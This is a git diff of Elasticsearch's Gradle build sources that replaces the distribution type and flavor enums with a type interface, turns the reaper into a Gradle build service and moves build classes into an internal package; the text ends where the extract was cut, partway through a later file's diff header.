+++ b/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistribution.java @@ -8,13 +8,12 @@ package org.elasticsearch.gradle; -import org.elasticsearch.gradle.docker.DockerSupportService; +import org.elasticsearch.gradle.distribution.ElasticsearchDistributionTypes; import org.gradle.api.Action; import org.gradle.api.Buildable; import org.gradle.api.artifacts.Configuration; import org.gradle.api.model.ObjectFactory; import org.gradle.api.provider.Property; -import org.gradle.api.provider.Provider; import org.gradle.api.tasks.TaskDependency; import java.io.File; @@ -35,44 +34,6 @@ public String toString() { } } - public enum Type { - INTEG_TEST_ZIP, - ARCHIVE, - RPM, - DEB, - DOCKER, - // This is a different flavour of Docker image - DOCKER_UBI; - - @Override - public String toString() { - return super.toString().toLowerCase(Locale.ROOT); - } - - public boolean shouldExtract() { - switch (this) { - case DEB: - case DOCKER: - case DOCKER_UBI: - case RPM: - return false; - - default: - return true; - } - } - } - - public enum Flavor { - DEFAULT, - OSS; - - @Override - public String toString() { - return super.toString().toLowerCase(Locale.ROOT); - } - } - // package private to tests can use public static final Platform CURRENT_PLATFORM = OS.conditional() .onLinux(() -> Platform.LINUX) @@ -81,15 +42,14 @@ public String toString() { .supply(); private final String name; - private final Provider dockerSupport; + private final Property dockerAvailability; // pkg private so plugin can configure final Configuration configuration; private final Property architecture; private final Property version; - private final Property type; + private final Property type; private final Property platform; - private final Property flavor; private final Property bundledJdk; private final Property failIfUnavailable; private final Configuration extracted; @@ -99,20 +59,19 @@ public String toString() { ElasticsearchDistribution( String name, ObjectFactory objectFactory, - Provider dockerSupport, + Property dockerAvailability, Configuration fileConfiguration, Configuration extractedConfiguration, Action distributionFinalizer ) { this.name = name; - this.dockerSupport = dockerSupport; + this.dockerAvailability = dockerAvailability; this.configuration = fileConfiguration; this.architecture = objectFactory.property(Architecture.class); this.version = objectFactory.property(String.class).convention(VersionProperties.getElasticsearch()); - this.type = objectFactory.property(Type.class); - this.type.convention(Type.ARCHIVE); + this.type = objectFactory.property(ElasticsearchDistributionType.class); + this.type.convention(ElasticsearchDistributionTypes.ARCHIVE); this.platform = objectFactory.property(Platform.class); - this.flavor = objectFactory.property(Flavor.class); this.bundledJdk = objectFactory.property(Boolean.class); this.failIfUnavailable = objectFactory.property(Boolean.class).convention(true); this.extracted = extractedConfiguration; @@ -140,20 +99,25 @@ public void setPlatform(Platform platform) { this.platform.set(platform); } - public Type getType() { + public ElasticsearchDistributionType getType() { return type.get(); } - public void setType(Type type) { + public void setType(ElasticsearchDistributionType type) { this.type.set(type); } - public Flavor getFlavor() { - return flavor.getOrNull(); - } - - public void setFlavor(Flavor flavor) { - this.flavor.set(flavor); + /** + * For simplicity only public distribution types are supported here + * */ + public void setType(String type) { + if (type.equals(ElasticsearchDistributionTypes.ARCHIVE.getName())) { + this.type.set(ElasticsearchDistributionTypes.ARCHIVE); + } else if (type.equals(ElasticsearchDistributionTypes.INTEG_TEST_ZIP.getName())) { + this.type.set(ElasticsearchDistributionTypes.INTEG_TEST_ZIP); + } else { + throw new IllegalArgumentException("Cannot set Elasticsearch Distribution type to " + type + ". Type unknown."); + } } public boolean getBundledJdk() { @@ -161,8 +125,7 @@ public boolean getBundledJdk() { } public boolean isDocker() { - final Type type = this.type.get(); - return type == Type.DOCKER || type == Type.DOCKER_UBI; + return this.type.get().isDocker(); } public void setBundledJdk(Boolean bundledJdk) { @@ -210,18 +173,12 @@ public String getFilepath() { } public Configuration getExtracted() { - switch (getType()) { - case DEB: - case DOCKER: - case DOCKER_UBI: - case RPM: - throw new UnsupportedOperationException( - "distribution type [" + getType() + "] for " + "elasticsearch distribution [" + name + "] cannot be extracted" - ); - - default: - return extracted; + if (getType().shouldExtract() == false) { + throw new UnsupportedOperationException( + "distribution type [" + getType().getName() + "] for " + "elasticsearch distribution [" + name + "] cannot be extracted" + ); } + return extracted; } @Override @@ -235,7 +192,7 @@ public TaskDependency getBuildDependencies() { } private boolean skippingDockerDistributionBuild() { - return isDocker() && getFailIfUnavailable() == false && dockerSupport.get().getDockerAvailability().isAvailable == false; + return isDocker() && getFailIfUnavailable() == false && dockerAvailability.get() == false; } @Override @@ -246,17 +203,12 @@ public Iterator iterator() { // internal, make this distribution's configuration unmodifiable void finalizeValues() { - if (getType() == Type.INTEG_TEST_ZIP) { + if (getType() == ElasticsearchDistributionTypes.INTEG_TEST_ZIP) { if (platform.getOrNull() != null) { throw new IllegalArgumentException( "platform cannot be set on elasticsearch distribution [" + name + "] of type [integ_test_zip]" ); } - if (flavor.getOrNull() != null) { - throw new IllegalArgumentException( - "flavor [" + flavor.get() + "] not allowed for elasticsearch distribution [" + name + "] of type [integ_test_zip]" - ); - } if (bundledJdk.getOrNull() != null) { throw new IllegalArgumentException( "bundledJdk cannot be set on elasticsearch distribution [" + name + "] of type [integ_test_zip]" @@ -271,7 +223,7 @@ void finalizeValues() { ); } - if (getType() == Type.ARCHIVE) { + if (getType() == ElasticsearchDistributionTypes.ARCHIVE) { // defaults for archive, set here instead of via convention so integ-test-zip can verify they are not set if (platform.isPresent() == false) { platform.set(CURRENT_PLATFORM); @@ -288,15 +240,9 @@ void finalizeValues() { "bundledJdk cannot be set on elasticsearch distribution [" + name + "] of type " + "[docker]" ); } - if (flavor.get() == Flavor.OSS && type.get() == Type.DOCKER_UBI) { - throw new IllegalArgumentException("Cannot build a UBI docker image for the OSS distribution"); - } } } - if (flavor.isPresent() == false) { - flavor.set(Flavor.DEFAULT); - } if (bundledJdk.isPresent() == false) { bundledJdk.set(true); } @@ -304,7 +250,6 @@ void finalizeValues() { version.finalizeValue(); platform.finalizeValue(); type.finalizeValue(); - flavor.finalizeValue(); bundledJdk.finalizeValue(); } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistributionType.java new file mode 100644 index 0000000000000..7661e346f809d --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistributionType.java @@ -0,0 +1,30 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle; + +public interface ElasticsearchDistributionType { + + String getName(); + + default boolean isDocker() { + return false; + }; + + default boolean shouldExtract() { + return false; + }; + + default String getExtension(ElasticsearchDistribution.Platform platform) { + return getName(); + } + + default String getClassifier(ElasticsearchDistribution.Platform platform, Version version) { + return ":" + Architecture.current().classifier; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperPlugin.java index 08dca06c2d4d8..7a81284a26542 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperPlugin.java @@ -8,33 +8,47 @@ package org.elasticsearch.gradle; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; import org.gradle.api.Plugin; import org.gradle.api.Project; +import org.gradle.api.file.ProjectLayout; -import java.nio.file.Path; +import javax.inject.Inject; +import java.io.File; /** * A plugin to handle reaping external services spawned by a build if Gradle dies. */ public class ReaperPlugin implements Plugin { + public static final String REAPER_SERVICE_NAME = "reaper"; + private final ProjectLayout projectLayout; + + @Inject + public ReaperPlugin(ProjectLayout projectLayout) { + this.projectLayout = projectLayout; + } + @Override public void apply(Project project) { + registerReaperService(project, projectLayout, false); + } + + public static void registerReaperService(Project project, ProjectLayout projectLayout, boolean internal) { if (project != project.getRootProject()) { throw new IllegalArgumentException("ReaperPlugin can only be applied to the root project of a build"); } - - project.getPlugins().apply(GlobalBuildInfoPlugin.class); - - Path inputDir = project.getRootDir() - .toPath() - .resolve(".gradle") - .resolve("reaper") - .resolve("build-" + ProcessHandle.current().pid()); - ReaperService service = project.getExtensions() - .create("reaper", ReaperService.class, project, project.getBuildDir().toPath(), inputDir); - - project.getGradle().buildFinished(result -> service.shutdown()); + File inputDir = projectLayout.getProjectDirectory() + .dir(".gradle") + .dir("reaper") + .dir("build-" + ProcessHandle.current().pid()) + .getAsFile(); + + project.getGradle().getSharedServices().registerIfAbsent(REAPER_SERVICE_NAME, ReaperService.class, spec -> { + // Provide some parameters + spec.getParameters().getInputDir().set(inputDir); + spec.getParameters().getBuildDir().set(projectLayout.getBuildDirectory()); + spec.getParameters().setInternal(internal); + }); } + } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperService.java b/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperService.java index 953e9413f12c1..ece27cef7b66f 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperService.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/ReaperService.java @@ -8,12 +8,15 @@ package org.elasticsearch.gradle; -import org.elasticsearch.gradle.info.BuildParams; import org.gradle.api.GradleException; -import org.gradle.api.Project; +import org.gradle.api.file.DirectoryProperty; import org.gradle.api.logging.Logger; +import org.gradle.api.logging.Logging; +import org.gradle.api.services.BuildService; +import org.gradle.api.services.BuildServiceParameters; import org.gradle.internal.jvm.Jvm; +import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; @@ -24,24 +27,12 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; -public class ReaperService { +public abstract class ReaperService implements BuildService, AutoCloseable { private static final String REAPER_CLASS = "org/elasticsearch/gradle/reaper/Reaper.class"; private static final Pattern REAPER_JAR_PATH_PATTERN = Pattern.compile("file:(.*)!/" + REAPER_CLASS); - private final Logger logger; - private final boolean isInternal; - private final Path buildDir; - private final Path inputDir; - private final Path logFile; private volatile Process reaperProcess; - - public ReaperService(Project project, Path buildDir, Path inputDir) { - this.logger = project.getLogger(); - this.isInternal = BuildParams.isInternal(); - this.buildDir = buildDir; - this.inputDir = inputDir; - this.logFile = inputDir.resolve("reaper.log"); - } + private final Logger logger = Logging.getLogger(getClass()); /** * Register a pid that will be killed by the reaper. @@ -68,7 +59,7 @@ public void registerCommand(String serviceId, String... command) { } private Path getCmdFile(String serviceId) { - return inputDir.resolve(serviceId.replaceAll("[^a-zA-Z0-9]", "-") + ".cmd"); + return getParameters().getInputDir().get().getAsFile().toPath().resolve(serviceId.replaceAll("[^a-zA-Z0-9]", "-") + ".cmd"); } public void unregister(String serviceId) { @@ -86,6 +77,7 @@ void shutdown() { reaperProcess.getOutputStream().close(); logger.info("Waiting for reaper to exit normally"); if (reaperProcess.waitFor() != 0) { + Path inputDir = getParameters().getInputDir().get().getAsFile().toPath(); throw new GradleException("Reaper process failed. Check log at " + inputDir.resolve("error.log") + " for details"); } } catch (Exception e) { @@ -99,10 +91,10 @@ private synchronized void ensureReaperStarted() { if (reaperProcess == null) { try { Path jarPath = locateReaperJar(); + Path inputDir = getParameters().getInputDir().get().getAsFile().toPath(); // ensure the input directory exists Files.createDirectories(inputDir); - // start the reaper ProcessBuilder builder = new ProcessBuilder( Jvm.current().getJavaExecutable().toString(), // same jvm as gradle @@ -115,8 +107,9 @@ private synchronized void ensureReaperStarted() { logger.info("Launching reaper: " + String.join(" ", builder.command())); // be explicit for stdin, we use closing of the pipe to signal shutdown to the reaper builder.redirectInput(ProcessBuilder.Redirect.PIPE); - builder.redirectOutput(logFile.toFile()); - builder.redirectError(logFile.toFile()); + File logFile = logFilePath().toFile(); + builder.redirectOutput(logFile); + builder.redirectError(logFile); reaperProcess = builder.start(); } catch (Exception e) { throw new RuntimeException(e); @@ -126,8 +119,12 @@ private synchronized void ensureReaperStarted() { } } + private Path logFilePath() { + return getParameters().getInputDir().get().getAsFile().toPath().resolve("reaper.log"); + } + private Path locateReaperJar() { - if (isInternal) { + if (getParameters().getInternal()) { // when running inside the Elasticsearch build just pull find the jar in the runtime classpath URL main = this.getClass().getClassLoader().getResource(REAPER_CLASS); String mainPath = main.getFile(); @@ -141,7 +138,7 @@ private Path locateReaperJar() { } } else { // copy the reaper jar - Path jarPath = buildDir.resolve("reaper").resolve("reaper.jar"); + Path jarPath = getParameters().getBuildDir().get().getAsFile().toPath().resolve("reaper").resolve("reaper.jar"); try { Files.createDirectories(jarPath.getParent()); } catch (IOException e) { @@ -164,7 +161,22 @@ private Path locateReaperJar() { private void ensureReaperAlive() { if (reaperProcess.isAlive() == false) { - throw new IllegalStateException("Reaper process died unexpectedly! Check the log at " + logFile.toString()); + throw new IllegalStateException("Reaper process died unexpectedly! Check the log at " + logFilePath().toString()); } } + + @Override + public void close() throws Exception { + shutdown(); + } + + public interface Params extends BuildServiceParameters { + Boolean getInternal(); + + void setInternal(Boolean internal); + + DirectoryProperty getBuildDir(); + + DirectoryProperty getInputDir(); + } } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ResolveAllDependencies.java b/buildSrc/src/main/java/org/elasticsearch/gradle/ResolveAllDependencies.java deleted file mode 100644 index 9e5a81d722930..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ResolveAllDependencies.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle; - -import org.gradle.api.DefaultTask; -import org.gradle.api.artifacts.Configuration; -import org.gradle.api.tasks.TaskAction; -import org.gradle.internal.deprecation.DeprecatableConfiguration; - -import java.util.Collection; - -import static org.elasticsearch.gradle.DistributionDownloadPlugin.DISTRO_EXTRACTED_CONFIG_PREFIX; - -public class ResolveAllDependencies extends DefaultTask { - - Collection configs; - - @TaskAction - void resolveAll() { - configs.stream().filter(it -> canBeResolved(it)).forEach(it -> it.resolve()); - } - - static boolean canBeResolved(Configuration configuration) { - if (configuration.isCanBeResolved() == false) { - return false; - } - if (configuration instanceof org.gradle.internal.deprecation.DeprecatableConfiguration) { - var deprecatableConfiguration = (DeprecatableConfiguration) configuration; - if (deprecatableConfiguration.canSafelyBeResolved() == false) { - return false; - } - } - return configuration.getName().startsWith(DISTRO_EXTRACTED_CONFIG_PREFIX) == false; - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/ArchiveElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/ArchiveElasticsearchDistributionType.java new file mode 100644 index 0000000000000..b19ea81d6b496 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/ArchiveElasticsearchDistributionType.java @@ -0,0 +1,40 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.distribution; + +import org.elasticsearch.gradle.Architecture; +import org.elasticsearch.gradle.ElasticsearchDistribution; +import org.elasticsearch.gradle.ElasticsearchDistributionType; +import org.elasticsearch.gradle.Version; + +public class ArchiveElasticsearchDistributionType implements ElasticsearchDistributionType { + + ArchiveElasticsearchDistributionType() {} + + @Override + public String getName() { + return "archive"; + } + + @Override + public String getExtension(ElasticsearchDistribution.Platform platform) { + return platform == ElasticsearchDistribution.Platform.WINDOWS ? "zip" : "tar.gz"; + } + + @Override + public String getClassifier(ElasticsearchDistribution.Platform platform, Version version) { + return version.onOrAfter("7.0.0") ? ":" + platform + "-" + Architecture.current().classifier : ""; + } + + @Override + public boolean shouldExtract() { + return true; + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/ElasticsearchDistributionTypes.java b/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/ElasticsearchDistributionTypes.java new file mode 100644 index 0000000000000..0c19e000034a8 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/ElasticsearchDistributionTypes.java @@ -0,0 +1,16 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +public class ElasticsearchDistributionTypes { + public static ElasticsearchDistributionType ARCHIVE = new ArchiveElasticsearchDistributionType(); + public static ElasticsearchDistributionType INTEG_TEST_ZIP = new IntegTestZipElasticsearchDistributionType(); +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/IntegTestZipElasticsearchDistributionType.java b/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/IntegTestZipElasticsearchDistributionType.java new file mode 100644 index 0000000000000..441b2c173ec48 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/distribution/IntegTestZipElasticsearchDistributionType.java @@ -0,0 +1,26 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.distribution; + +import org.elasticsearch.gradle.ElasticsearchDistributionType; + +public class IntegTestZipElasticsearchDistributionType implements ElasticsearchDistributionType { + + IntegTestZipElasticsearchDistributionType() {} + + @Override + public String getName() { + return "integ-test-zip"; + } + + @Override + public boolean shouldExtract() { + return true; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/BuildPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BuildPlugin.java similarity index 78% rename from buildSrc/src/main/java/org/elasticsearch/gradle/BuildPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/BuildPlugin.java index 4083e4b23f3d9..d0ccaacc331f2 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/BuildPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BuildPlugin.java @@ -6,14 +6,11 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.codehaus.groovy.runtime.DefaultGroovyMethods; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; -import org.elasticsearch.gradle.internal.InternalPlugin; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; import org.elasticsearch.gradle.internal.precommit.InternalPrecommitTasks; -import org.elasticsearch.gradle.precommit.PrecommitTasks; import org.gradle.api.GradleException; import org.gradle.api.InvalidUserDataException; import org.gradle.api.Plugin; @@ -31,7 +28,6 @@ public class BuildPlugin implements Plugin { public void apply(final Project project) { // make sure the global build info plugin is applied to the root project project.getRootProject().getPluginManager().apply(GlobalBuildInfoPlugin.class); - checkExternalInternalPluginUsages(project); if (project.getPluginManager().hasPlugin("elasticsearch.standalone-rest-test")) { throw new InvalidUserDataException( @@ -45,18 +41,7 @@ public void apply(final Project project) { project.getPluginManager().apply(DependenciesInfoPlugin.class); project.getPluginManager().apply(DependenciesGraphPlugin.class); - BuildParams.withInternalBuild(() -> InternalPrecommitTasks.create(project, true)).orElse(() -> PrecommitTasks.create(project)); - - } - - private static void checkExternalInternalPluginUsages(Project project) { - if (BuildParams.isInternal().equals(false)) { - project.getPlugins() - .withType( - InternalPlugin.class, - internalPlugin -> { throw new GradleException(internalPlugin.getExternalUseErrorMessage()); } - ); - } + InternalPrecommitTasks.create(project, true); } public static void configureLicenseAndNotice(final Project project) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcSetupExtension.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcSetupExtension.java index b4620088ba849..72ed879ea83eb 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcSetupExtension.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcSetupExtension.java @@ -10,7 +10,6 @@ import org.apache.commons.io.FileUtils; import org.apache.tools.ant.taskdefs.condition.Os; -import org.elasticsearch.gradle.BwcVersions; import org.elasticsearch.gradle.LoggedExec; import org.gradle.api.Action; import org.gradle.api.GradleException; @@ -26,9 +25,8 @@ import java.util.Arrays; import java.util.List; import java.util.Locale; -import java.util.stream.Collectors; -import static org.elasticsearch.gradle.util.JavaUtil.getJavaHome; +import static org.elasticsearch.gradle.internal.util.JavaUtil.getJavaHome; /** * By registering bwc tasks via this extension we can support declaring custom bwc tasks from the build script @@ -36,18 +34,22 @@ * */ public class BwcSetupExtension { + private static final String MINIMUM_COMPILER_VERSION_PATH = "buildSrc/src/main/resources/minimumCompilerVersion"; private final Project project; - private final Provider unreleasedVersionInfo; + private final Provider bwcTaskThrottleProvider; + private Provider checkoutDir; public BwcSetupExtension( Project project, Provider unreleasedVersionInfo, + Provider bwcTaskThrottleProvider, Provider checkoutDir ) { this.project = project; this.unreleasedVersionInfo = unreleasedVersionInfo; + this.bwcTaskThrottleProvider = bwcTaskThrottleProvider; this.checkoutDir = checkoutDir; } @@ -57,37 +59,14 @@ TaskProvider bwcTask(String name, Action configuration) private TaskProvider createRunBwcGradleTask(Project project, String name, Action configAction) { return project.getTasks().register(name, LoggedExec.class, loggedExec -> { - // TODO revisit loggedExec.dependsOn("checkoutBwcBranch"); + loggedExec.usesService(bwcTaskThrottleProvider); loggedExec.setSpoolOutput(true); loggedExec.setWorkingDir(checkoutDir.get()); loggedExec.doFirst(t -> { // Execution time so that the checkouts are available - String javaVersionsString = readFromFile(new File(checkoutDir.get(), ".ci/java-versions.properties")); - loggedExec.environment( - "JAVA_HOME", - getJavaHome( - Integer.parseInt( - javaVersionsString.lines() - .filter(l -> l.trim().startsWith("ES_BUILD_JAVA=")) - .map(l -> l.replace("ES_BUILD_JAVA=java", "").trim()) - .map(l -> l.replace("ES_BUILD_JAVA=openjdk", "").trim()) - .collect(Collectors.joining("!!")) - ) - ) - ); - loggedExec.environment( - "RUNTIME_JAVA_HOME", - getJavaHome( - Integer.parseInt( - javaVersionsString.lines() - .filter(l -> l.trim().startsWith("ES_RUNTIME_JAVA=")) - .map(l -> l.replace("ES_RUNTIME_JAVA=java", "").trim()) - .map(l -> l.replace("ES_RUNTIME_JAVA=openjdk", "").trim()) - .collect(Collectors.joining("!!")) - ) - ) - ); + String minimumCompilerVersion = readFromFile(new File(checkoutDir.get(), MINIMUM_COMPILER_VERSION_PATH)); + loggedExec.environment("JAVA_HOME", getJavaHome(Integer.parseInt(minimumCompilerVersion))); }); if (Os.isFamily(Os.FAMILY_WINDOWS)) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/BwcVersions.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcVersions.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/BwcVersions.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcVersions.java index 945aee9d75ca1..5b704786c3cc1 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/BwcVersions.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/BwcVersions.java @@ -5,7 +5,11 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; + +import org.elasticsearch.gradle.Architecture; +import org.elasticsearch.gradle.Version; +import org.elasticsearch.gradle.VersionProperties; import java.util.ArrayList; import java.util.Collection; @@ -169,12 +173,13 @@ public UnreleasedVersionInfo unreleasedInfo(Version version) { } public void forPreviousUnreleased(Consumer consumer) { - List collect = getUnreleased().stream() - .filter(version -> version.equals(currentVersion) == false) + List collect = filterSupportedVersions( + getUnreleased().stream().filter(version -> version.equals(currentVersion) == false).collect(Collectors.toList()) + ).stream() .map(version -> new UnreleasedVersionInfo(version, getBranchFor(version), getGradleProjectPathFor(version))) .collect(Collectors.toList()); - collect.forEach(uvi -> consumer.accept(uvi)); + collect.forEach(consumer::accept); } private String getGradleProjectPathFor(Version version) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ConcatFilesTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ConcatFilesTask.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/ConcatFilesTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/ConcatFilesTask.java index a64b3b85d599e..f1f33feb781ba 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ConcatFilesTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ConcatFilesTask.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import java.io.File; import java.io.IOException; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesGraphPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesGraphPlugin.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesGraphPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesGraphPlugin.java index 708800d462202..8dee4d27f6a53 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesGraphPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesGraphPlugin.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.gradle.api.GradleException; import org.gradle.api.Plugin; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesGraphTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesGraphTask.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesGraphTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesGraphTask.java index 6304aa1df2240..98002f0615ce4 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesGraphTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesGraphTask.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpPost; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesInfoPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesInfoPlugin.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesInfoPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesInfoPlugin.java index 753a80d2b43c1..59ff0bff85b84 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesInfoPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesInfoPlugin.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.elasticsearch.gradle.dependencies.CompileOnlyResolvePlugin; import org.elasticsearch.gradle.internal.precommit.DependencyLicensesTask; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesInfoTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesInfoTask.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesInfoTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesInfoTask.java index 4633bb50fd099..70c4866e09963 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/DependenciesInfoTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DependenciesInfoTask.java @@ -6,10 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.elasticsearch.gradle.internal.precommit.DependencyLicensesTask; -import org.elasticsearch.gradle.precommit.LicenseAnalyzer; +import org.elasticsearch.gradle.internal.precommit.LicenseAnalyzer; import org.gradle.api.artifacts.Configuration; import org.gradle.api.artifacts.Dependency; import org.gradle.api.artifacts.DependencySet; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DockerBase.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DockerBase.java new file mode 100644 index 0000000000000..cdc65367f2bbe --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/DockerBase.java @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +/** + * This class models the different Docker base images that are used to build Docker distributions of Elasticsearch. + */ +public enum DockerBase { + CENTOS("centos:8", ""), + + // "latest" here is intentional, since the image name specifies "8" + UBI("docker.elastic.co/ubi8/ubi-minimal:latest", "-ubi8"), + + // The Iron Bank base image is UBI (albeit hardened), but we are required to parameterize the Docker build + IRON_BANK("${BASE_REGISTRY}/${BASE_IMAGE}:${BASE_TAG}", "-ironbank"); + + private final String image; + private final String suffix; + + DockerBase(String image, String suffix) { + this.image = image; + this.suffix = suffix; + } + + public String getImage() { + return image; + } + + public String getSuffix() { + return suffix; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchJavaPlugin.java 